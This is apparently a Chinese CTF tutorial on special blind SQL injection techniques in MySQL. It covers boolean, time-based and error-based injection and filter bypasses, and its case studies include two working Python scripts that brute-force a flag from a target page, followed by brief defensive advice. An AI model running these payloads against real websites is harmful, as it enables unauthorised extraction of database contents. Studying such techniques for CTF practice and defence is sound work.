两种CTF中特殊盲注的总结
字数 1398 2025-08-15 21:33:42
CTF中特殊盲注技术深度解析
一、盲注基础概念
盲注(Blind SQL Injection)是SQL注入的一种特殊形式,当SQL语句执行后数据不会回显到前端页面时,需要通过特定方法进行判断或尝试的攻击技术。
基本分类
- 布尔盲注:页面只返回True/False两种状态
- 时间盲注:通过响应时间差异判断注入结果
- 基于运行错误的布尔盲注:利用语法正确但运行时出错的特性
二、关键SQL函数
常用盲注函数
-
IF函数:
IF(expr1,expr2,expr3)- expr1为真返回expr2,否则返回expr3
- 示例:
SELECT IF(TRUE, 'A','B')→ 'A'
-
字符串处理函数:
ASCII(str):返回首字符ASCII码ORD(str):同ASCIICHAR(int):ASCII转字符MID(str,pos,len)/SUBSTR(str,pos,len):截取子串LEFT(str,len):取左侧len个字符
-
时间函数:
SLEEP(duration):休眠指定秒数
-
正则函数:
REGEXP:正则匹配- 示例:
SELECT "FLAG" REGEXP "LA"→ 1
-
其他实用函数:
LENGTH(str):字符串长度DATABASE():当前数据库名VERSION():MySQL版本
三、布尔盲注技术
基本原理
根据输入条件,页面返回True/False两种不同响应。
典型应用
SELECT IF(LENGTH(DATABASE())>3, 1, 2)
-- 通过返回结果判断数据库名长度
实战技巧
- 逐字符猜解:
IF(MID(DATABASE(),1,1)='c',1,0) - 使用REGEXP代替=和LIKE(当后者被过滤时)
- 十六进制绕过单引号过滤:
0x666C6167代替'flag'
四、时间盲注技术
基本原理
通过执行时间差异判断条件真假。
典型应用
SELECT IF(MID(DATABASE(),1,1)='c', SLEEP(3), 2)
-- 若首字符为'c'则延迟3秒
高级技巧(当SLEEP被过滤)
- 使用巨大运算制造延迟:
IF(条件,rpad('a',5000000,'a') REGEXP复杂模式,0)
- 注意缓存问题:每次修改参数避免软解析
五、基于运行错误的布尔盲注
技术原理
利用语法正确但运行时出错的函数构造差异响应。
关键函数
ST_GeomFromText():从文本构造几何对象ST_X(point):获取点的X坐标(仅对点对象有效)
应用示例
SELECT IF(1,1,ST_X(ST_GeomFromText('POINT(aaa)')))
-- 真:返回1;假:报错"Invalid GIS data"
变体函数
ST_MPointFromText():针对MULTIPOINTGeomFromText()和X()(5.7.6后弃用)
六、绕过过滤技巧
常见过滤及绕过方法
- 单引号过滤:使用十六进制(0x...)或CHAR()函数
- 关键字过滤:
SLEEP→ 使用巨大运算延迟SUBSTR/MID→ 使用LEFT/RIGHTASCII/ORD→ 使用HEX/CHAR
- 比较符过滤:使用REGEXP代替=、LIKE
七、实战案例解析
案例1:基于运行错误的盲注
import requests
def fun(string):
result = ",".join(str(ord(c)) for c in string)
return f"char({result})"
url = "http://sqlblind.com/index.php"
flag = ""
for i in range(1, 50):
for c in "abcdefghijklmnopqrstuvwxyz0123456789-_}{":
payload = f"if(left((select flag from flag),{i}) regexp {fun(flag+c)},1,ST_X(ST_GeomFromText(0x504F494E54286D61647329)))"
r = requests.post(url, data={'keywords': payload})
if "Hello World" in r.text:
flag += c
print(flag)
break
案例2:巨大运算时间盲注
import requests
def ord2hex(string):
return '0x' + ''.join(hex(ord(c))[2:] for c in string)
url = "http://sqlblind.com/index.php"
result = ""
for i in range(1, 50):
for c in "abcdefghijklmnopqrstuvwxyz0123456789-_}{":
payload = f"1 and if((select flag from flag) regexp binary {ord2hex('^'+result+c)},rpad(0x61,{5000000-i},0x61) regexp concat(repeat(0x28612E2A292B,30),0x62),0)"
try:
r = requests.post(url, data={'keywords': payload}, timeout=3)
except:
result += c
print(result.replace('\\',''))
break
八、防御建议
- 使用参数化查询/prepared statements
- 严格过滤特殊字符和SQL关键字
- 设置数据库最小权限原则
- 错误信息统一处理,避免泄露细节
- 使用WAF防护常见注入模式
九、总结
特殊盲注技术的关键在于:
- 识别页面差异(布尔/时间/错误)
- 选择合适的函数构造payload
- 灵活应对各种过滤限制
- 自动化脚本提高效率
掌握这些技术需要深入理解SQL函数特性及服务器响应机制,通过大量实践培养敏锐的注入直觉。